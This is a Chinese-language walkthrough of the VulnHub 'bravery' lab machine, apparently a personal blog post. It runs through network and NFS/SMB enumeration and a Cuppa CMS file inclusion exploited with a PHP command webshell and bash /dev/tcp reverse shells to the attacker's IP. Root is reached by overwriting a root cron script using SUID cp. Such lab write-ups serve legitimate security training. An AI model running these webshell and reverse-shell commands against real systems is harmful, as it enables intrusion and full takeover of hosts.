vulnhub靶场之【digitalworld.local系列】的bravery靶机
前言
靶机:digitalworld.local-bravery,IP地址为192.168.10.8
攻击:kali,IP地址为192.168.10.6
kali采用VMware虚拟机,靶机采用virtualbox虚拟机,网卡都为桥接模式
这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware挂载磁盘,也给出了iso镜像文件
文章中涉及的靶机,来源于
vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://download.vulnhub.com/digitalworld/bravery-improved.7z或者通过网盘下载
https://pan.quark.cn/s/86cf8a398835
主机发现
使用arp-scan -l或netdiscover -r 192.168.10.1/24扫描
也可以使用nmap等工具进行

信息收集
使用nmap扫描端口
nmap -sV -O 192.168.10.8 -p- -T4

这是全面扫描,不过尽量更详细一点,先扫描tcp端口
nmap -sT 192.168.10.8 -p- -T4 -oA nmap_tcp

扫描udp的top20端口
nmap -sU 192.168.10.8 --top-ports 20 -T4

这里的udp和tcp端口处于open的无差,所以,采用tcp的端口,并进行端口选择
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','

再对这些端口进行深一步的检测,比如检测服务等
ports=22,53,80,111,139,443,445,2049,3306,8080,20048,37191,49742
nmap -sV -O -sC -sT 192.168.10.8 -p $ports -oA detail



再通过nmap的脚本扫描有无漏洞
nmap --script=vuln -p $ports -oA vuln

根据以上收集的信息,有网站,有smb等,那么就一步一步来,大部分靶机都是从web开始,一步步推进
网站信息收集
80端口网站探测
访问80端口的网站,并未有内容,应该是测试网站

查看页面源代码后,也并未有信息,使用浏览器插件wappalyzer或者whatweb测试该网站,发现具有php语言,采用apache,与前面nmap扫描收集的信息一样
那么针对该80网站进行网站目录爆破,这里采用gobuster工具,也可以使用其他工具,很多
gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

这里的/0到/9都只是数字,访问README.txt,提示努力

访问/about,给出一个链接,并说这里有提示

访问uploads,这里虽然有文件夹,但是里面没有任何东西
再访问phpinfo.php,但是并不是真正的phpinfo界面,是空白
之前给出的链接中,直接访问是不存在的界面,那么进行拼接呢
http://192.168.10.8/1075692/Try-Harder
或
http://192.168.10.8/1075692
或
http://192.168.10.8/Try-Harder
访问后,有一张图片,大概就是说,“还需努力啊,少年!”

既然如此,好嘛,我就转换方向,我去8080网站看看,嘿嘿嘿
8080端口网站探测
访问8080端口默认界面

查看页面源代码,也并未发现隐藏信息
使用gobuster等工具进行目录爆破
gobuster dir -u http://192.168.10.8:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

先访问robots.txt,发现与前面爆破的路径,大部分都是一样的

访问/cgi-bin和404.html都是一样的界面显示,不过这里也是得知一些信息,为nignx管理,并且配置文件的路径也给出了

访问private,是以nginx默认的403界面显示

访问public,是一个常见的网站类型

再次对这个网站进行扫描
gobuster dir -u http://192.168.10.8:8080/public -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

发现mail.php,不过访问这个文件,是直接下载的,所以可能这个网站对于php文件并不能解析
访问qwertyuiop.html,发现是一张图片,图片中的英文就是提示
sometimes,what you seek is hiding in planin sight

下载图片,然后使用exiftool、binwalk、steghide等工具查看是否有隐写内容,测试发现并没有
到这里,对于网站探测已经over了,除非就是网站爆破时,字典的问题了
nfs探测
在之前,使用nmap扫描的时候,发现rpcbind和nfs,一般这两个都是搭配使用的
那么使用nmap的脚本再进行一次探测
nmap 192.168.10.8 --script=nfs*

有东西,那么进一步深入,使用showmount查看
showmount -e 192.168.10.8

可以看到,目标靶机确实是有,那么尝试直接挂载到kali进行测试是否可行
mkdir share
mount -t nfs 192.168.10.8:/var/nfsshare ./share

但是我查看了所有文件的内容,文件里面的内容,并没有任何有价值的
直到我再次查看,发现qwertyuioplkjhgfdsazxcvbnm这个文件有意思,结合前面password.txt以及其本身的内容来看,我怀疑这是一个密码

smb探测
前面也是有相关的smb服务的开启,所以,需要进一步进行探测的
使用nmap中的脚本探测
nmap 192.168.10.8 --script=smb*
枚举出三个分享IPC$、anonymous、secured

枚举出anonymous分享中,有内容

枚举出两个用户david、rick

再使用enum4linux枚举一下
enum4linux 192.168.10.8 -a
枚举出两个用户,与前面使用nmap一样

枚举出三个分享,也是和前面使用nmap出的结果一样

信息总结
当前获取到的信息有
nfs中的一个可能疑似密码的东西smb枚举出的三个分享以及两个用户- 网站中并未有明显信息,目前来看,需要从
smb着手
密码qwertyuioplkjhgfdsazxcvbnm
分享anonymous、secured
用户david、rick
漏洞寻找
根据前面的信息,尝试连接smb中的分享,可以使用smbclient或者smbmap都可以
smbclient //192.168.10.8/anonymous -N
#-N 是指不使用密码登录,也就是以匿名形式登录

因为readme.txt是英文,为了方便,翻译一下,表示这是一个临时的服务,这种情况在现实中确实有,不过这需要很长的潜伏

然后再次以登录身份进行测试anonymous,发现也是一样的东西
#密码 qwertyuioplkjhgfdsazxcvbnm
smbclient //192.168.10.8/anonymous -U david #成功登录
smbclient //192.168.10.8/anonymous -U rick #无法成功登录
那么换另一个分享secured,这里想匿名登录是失败的
#密码 qwertyuioplkjhgfdsazxcvbnm
smbclient //192.168.10.8/secured -U david #成功登录
smbclient //192.168.10.8/secured -U rick #无法成功登录

获取三个文件,下载到kali,然后查看内容
查看README.txt文件,这里明确提出了CMS,并且还搞出个单词goodtech

查看david.txt,提到域名,以及一个php的文件路径

查看genevieve.txt文件,这里的信息提到一个地址http://192.168.254.155/genevieve

根据上面收集的信息,构造一些网站的可能性,这里是不包括绑定域名的情况
http://192.168.10.8/devops/directortestpagev1.php
http://192.168.10.8:8080/devops/directortestpagev1.phphttp://192.168.10.8/genevieve
http://192.168.10.8:8080/genevieve
先尝试一下,发现访问成功一个,看网站的样子,应该是还在搭建中

把能点的都点了,发现基本上都是页面不存在,不过发现一个功能,点击后,跳转到登录界面

可以看到是CMS

以前面获取的信息,尝试进行登录,发现不行,包括刚获取的goodtech,把所有信息进行拼接,得出的用户名和密码,都无法登录,并且测试登录框,应该不存在注入
漏洞利用
那么使用searchsploit搜索,有无该CMS的漏洞cuppa
searchsploit cuppa

查看文档,发现用法,并且是文件包含,这个应该是cms构建时的代码原因

测试路径,并且确定是否可用,确实可以

那么就在kali本地创建一个php文件,使得其远程包含该文件,然后导致反弹shell
这里先写一个简单的php代码,可执行system的命令
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
把这个代码写入shell.php文件,然后再kali中,使用python开启一个http服务,观察是否可行
注意,一定不要把kali中的http服务关闭,因为远程代码执行需要调用的

可以看到,我们的代码确实通过远程执行了,所以这里就直接通过传参cmd反弹shell
bash -i >& /dev/tcp/192.168.10.6/9999 0>&1
#需要进行url编码
bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.10.6%2f9999%200%3e%261

提权
靶机内信息收集
查看网络连接
ss -antlp

查看ip地址,确定当前是否处在虚拟环境,确实未处于虚拟环境
ip add

查看以root的进程
ps aux | grep root

查看内核版本以及系统版本
uanme -a/-r
cat /etc/issue
cat /etc/*release

使用find寻找具有SUID权限的文件
find - perm -u=s -type f 2>/dev/null

查看定时任务
cat /etc/crontab

查看网站中的配置文件,发现连接数据库的用户名和密码,并且以root连接的

瞬间就让人想到udf提权,不过还是需要进一步验证
查看相关配置,可能确实可以udf提权

不过再尝试进行dumpfile时,这个是被拒绝了,还是不能udf提权

上传一些脚本检测吧,上传pspy64,执行后发现,有一个脚本每5分钟执行一次

定时任务提权
已知,有脚本定时以root身份执行,并且在前面寻找SUID权限文件时,有cp命令,那么就可以创建一个反弹shell的脚本,使用cp覆盖原本的定时任务,就可以获得一个root的反弹shell
#先在kali开启监听
nc -lvnp 1234#然后执行命令
cd /tmp #这里可以创建文件
echo "/bin/bash -i >& /dev/tcp/192.168.10.6/1234 0>&1" > 1.sh
cat 1.sh #确保反弹shell命令写入
/usr/bin/cp 1.sh /var/www/maintenance.sh #开始使用具有SUID权限的cp进行覆盖
ls -l /var/www #确保只有一个文件,也就是确保覆盖
cat /var/www/maintenance.sh #再次确认,内容是否修改

等待一会,即可发现,获取到root的shell,这个时间大概5分钟

总结
该靶机考察几点:
- 对于众多信息,要一步步去筛选,不要急躁。这里的网站信息刚开始可能确实没有,所以不要急躁
- 对于
nfs这个要稍微了解,建议去ai搜索一下,这个经常配合rpcbind出现,并且,靶机内一般都是与showmount和挂载有关 - 对于
smb服务,要会枚举,这里可以借助nmap的脚本,或者enum4linux或其他工具;枚举出之后,要会找到有用的信息,这里也就是密码的关键寻找 - 对于信息,要敏感,比如,如果是目录型网站,出现类似于目录的时候,要会拼接,这里因为出现的少,所以手工拼接即可,若是很多,要会自动化处理,也就是使用代码拼接目录,再通过工具批处理,选出可用的链接
- 对于提权,这里在获取到的平常信息,都无法提权时,可以借助工具观察,因为不可能每时每刻观察进程的命令,这也可能不显示
- 提权,要思路广,结合起来,这里就是想起
cp命令来覆盖root执行的定时任务脚本
相关文章:
vulnhub靶场之【digitalworld.local系列】的bravery靶机
前言 靶机:digitalworld.local-bravery,IP地址为192.168.10.8 攻击:kali,IP地址为192.168.10.6 kali采用VMware虚拟机,靶机采用virtualbox虚拟机,网卡都为桥接模式 这里官方给的有两种方式,…...
SpringBoot 整合mongoDB并自定义连接池,实现多数据源配置
要想在同一个springboot项目中使用多个数据源,最主要是每个数据源都有自己的mongoTemplate和MongoDbFactory。mongoTemplate和MongoDbFactory是负责对数据源进行交互的并管理链接的。 spring提供了一个注解EnableMongoRepositories 用来注释在某些路径下的MongoRepo…...
部署Joplin私有云服务器postgres版-docker compose
我曾经使用过一段时间 Joplin,官方版本是收费的,而我更倾向于将数据掌握在自己手中。因此,在多次权衡后,我决定自己搭建 Joplin 服务器并进行尝试。 个人搭建的版本与数据库直连,下面是使用 Docker Compose 配置数据库…...
C++20 标准化有符号整数:迈向更可预测的整数运算
文章目录 一、背景:为什么需要标准化?二、2 的补码:原理与优势(一)2 的补码原理(二)2 的补码的优势 三、C20 的变化:明确 2 的补码四、如何利用这一特性优化代码(一&…...
npm ERR! code 128 npm ERR! An unknown git error occurred
【问题描述】 【问题解决】 管理员运行cmd(右键window --> 选择终端管理员) 执行命令 git config --global url.“https://”.insteadOf ssh://git cd 到项目目录 重新执行npm install 个人原因,这里执行npm install --registryhttps:…...
【uniapp】子组件和父组件双向绑定,vue3已废除sync写法,v-model代替
vue3已废除sync写法,v-model代替 实现state的值可以从子组件传递给父组件,也可以从父组件传递给子组件 文件地址pages/about/about.vue <template><view><button size"mini" click"clickBtn">开启{{mystate}}<…...
playbin之Source插件加载流程源码剖析
之前我们有讲解过uridecodebin的setup_source中会创建source插件,关键函数: /* create and configure an element that can handle the uri */ source gen_source_element (decoder); /** Generate and configure a source element.** Returns: (tra…...
泵吸式激光可燃气体监测仪:快速精准守护燃气管网安全
在城市化进程加速的今天,燃气泄漏、地下管网老化等问题时刻威胁着城市安全。如何实现精准、高效的可燃气体监测,守护“城市生命线”,成为新型基础设施建设的核心课题。泵吸式激光可燃气体监测仪,以创新科技赋能安全监测࿰…...
Stiring-PDF:开源免费的PDF文件处理软件
Stiring-PDF是一款开源免费且比较好用的PDF文件处理工具。 Stiring-PDF官网网址为:https://www.stiringpdf.com/。Stiring-PDF是一款专业的PDF文件处理工具,支持Windows和macOS操作系统;提供丰富的PDF编辑和转换功能,适用于日常工…...
Cherno C++ P60 为什么不用using namespace std
这篇文章我们讲一下之前写代码的时候的一个习惯,也就是不使用using namespace std。如果我们接触过最早的C教程,那么第一节课都会让我们写如下的代码: #include<iostream>using namespace std;int main() {cout << "Hello …...
大模型微调实验记录(一)数据探索
文章目录 概要整体架构流程前期的技术探索技术构造技术细节小结 概要 根据之前博客使用的docker技术,如果换公司了,我可能就要重新搭建环境了,哎,公司没资源给我,给我一台带不走的电脑,哎,这可…...
JavaWeb-社区版Idea安装配置
idea配置 一,下载idea社区版 百度搜索IntelliJ IDEA,点击下载链接。 二,全局配置 前提安装好jdk,这一步不再赘述。进入引导页,把可以配置的东西都先配置上,这个配置是全局的,省的之后&#…...
iOS 实现UIButton自动化点击埋点
思路:我们HOOK UIControl的 addtarget:action:forControlEvents方法,交换UIControl的 addtarget:action:forControlEvents 方法的实现, 在交换的方法中添加原来响应的同时,再添加一个埋点响应,该响应方法实现了点击埋点…...
商城系统单商户开源版源码
环境配置 1.软件安装 宝塔安装系统软件:Nginx、MySQL5.6、PHP( PHP用7.1-7.4版本)、phpMyAdmin(Web端MySQL管理工具)。 2.配置mysql 设置mysql,在已安装的软件里面找到 mysql点击进行设置 3.修改sql-mode 选择左侧配置修改,找到里面的sql-mode&…...
用不同语言写力扣题的思考:如何选择最适合的编程语言
目录 1. 为什么选择不同的编程语言? 2. 如何根据题目特点选择编程语言? 2.1 题目类型 2.2 个人熟练度 2.3 性能要求 3. 实例分析 3.1 两数之和(Two Sum) Python 实现 C 实现 3.2 反转链表(Reverse Linked Li…...
Python PDF文件拆分-详解
目录 使用工具 将PDF按页数拆分 将PDF的每一页拆分为单独的文件 将PDF按指定页数拆分 根据页码范围拆分PDF 根据指定内容拆分PDF 将PDF的一页拆分为多页 在日常生活中,我们常常会遇到大型的PDF文件,这些文件可能难以发送、管理和查阅。将PDF拆分成…...
ubuntu部署gitlab-ce及数据迁移
ubuntu部署gitlab-ce及数据迁移 进行前梳理: 在esxi7.0 Update 3 基础上使用 ubuntu22.04.5-server系统对 gitlab-ce 16.10进行部署,以及将gitlab-ee 16.9 数据进行迁移到gitlab-ce 16.10 进行后总结: 起初安装了极狐17.8.3-jh 版本(不支持全局中文,就没用了) …...
Y3学习打卡
网络结构图 YOLOv5配置了4种不同大小的网络模型,分别是YOLOv5s、YOLOv5m、YOLOv5l、YOLOv5x,其中 YOLOv5s 是网络深度和宽度最小但检测速度最快的模型,其他3种模型都是在YOLOv5s的基础上不断加深、加宽网络使得网络规模扩大,在增强…...
英码科技携昇腾DeepSeek大模型一体机亮相第三届北京人工智能产业创新发展大会
2025年2月28日,第三届北京人工智能产业创新发展大会在国家会议中心隆重开幕。本届大会以"好用、易用、愿用——以突破性创新加速AI赋能千行百业”为主题,重点展示人工智能技术创新成果与产业化应用实践。作为昇腾生态的APN伙伴,英码科技…...
系统讨论Qt的并发编程2——介绍一下Qt并发的一些常用的东西
目录 QThreadPool与QRunnable 互斥机制:QMutex, QMutexLocker, QSemaphore, QWaitCondition 跨线程的通信 入门QtConcurrent,Qt集成的一个并发框架 一些参考 QThreadPool与QRunnable QThreadPool自身预备了一些QThread。这样,我们就不需…...
JS禁止web页面调试
前言 由于前端在页面渲染的过程中 会调用很多后端的接口,而有些接口是不希望别人看到的,所以前端调用后端接口的行为动作就需要做一个隐藏。 禁用右键菜单 document.oncontextmenu function() {console.log("禁用右键菜单");return false;…...
modbus 协议的学习,谢谢老师
(1)谢谢这位老师 ,谢谢老师的教导 (2) 谢谢...
Go 接口使用
个人学习笔记 接口作用 1. 实现多态 多态允许不同的类型通过实现相同的接口,以统一的方式进行处理。这使得代码更加灵活和可扩展,提高了代码的复用性。 示例代码: package mainimport ("fmt" )// 定义一个接口 type Speaker int…...
题解 | 牛客周赛82 Java ABCDEF
目录 题目地址 做题情况 A 题 B 题 C 题 D 题 E 题 F 题 牛客竞赛主页 题目地址 牛客竞赛_ACM/NOI/CSP/CCPC/ICPC算法编程高难度练习赛_牛客竞赛OJ 做题情况 A 题 判断字符串第一个字符和第三个字符是否相等 import java.io.*; import java.math.*; import java.u…...
命名管道——进程间通信
个人主页:敲上瘾-CSDN博客 匿名管道:进程池的制作(linux进程间通信,匿名管道... ...)-CSDN博客 一、命名管道的使用 1.创建命名管道 1.1.在命令行中: 创建: mkfifo 管道名 删除:…...
高频 SQL 50 题(基础版)_1141. 查询近30天活跃用户数
1141. 查询近30天活跃用户数 select activity_date day,count(distinct user_id) active_users from Activity where (activity_date<2019-07-27 and activity_date>DATE_sub(2019-07-27,INTERVAL 30 DAY)) group by(activity_date)...
Yocto + 树莓派摄像头驱动完整指南
—— 从驱动配置、Yocto 构建,到 OpenCV 实战 在树莓派上运行摄像头,在官方的 Raspberry Pi OS 可能很简单,但在 Yocto 项目中,需要手动配置驱动、设备树、软件依赖 才能确保摄像头正常工作。本篇文章从 BSP 驱动配置、Yocto 关键…...
seaborn中文乱码
在进行matplotlib画图的时候,经常会出现中文乱码的问题,这主要是默认的文件不支持中文,可以在代码中显示指定。解决方法: import seaborn as sns import matplotlib.pyplot as pltplt.rcParams["font.sans-serif"] ["SimHei"] # …...
函数的特殊形式——递归函数
C递归函数入门指南:从概念到实践 1. 什么是递归? 递归是指函数直接或间接调用自身的过程,就像照镜子时影像无限反射,通过不断分解问题解决问题 适用场景: 问题可分解为相同子问题(如阶乘、斐波那契数列…...
计算最大海岛面积
最大海岛面积问题的不同解法 问题举例 给定一个包含了一些 0 和 1 的非空二维数组 matrix 。 一个岛屿是由一些相邻的 1 (代表土地) 构成的组合,这里的「相邻」要求两个 1 必须在水平或者竖直方向上相邻。你可以假设matrix的四个边缘都被 0(代表水&am…...
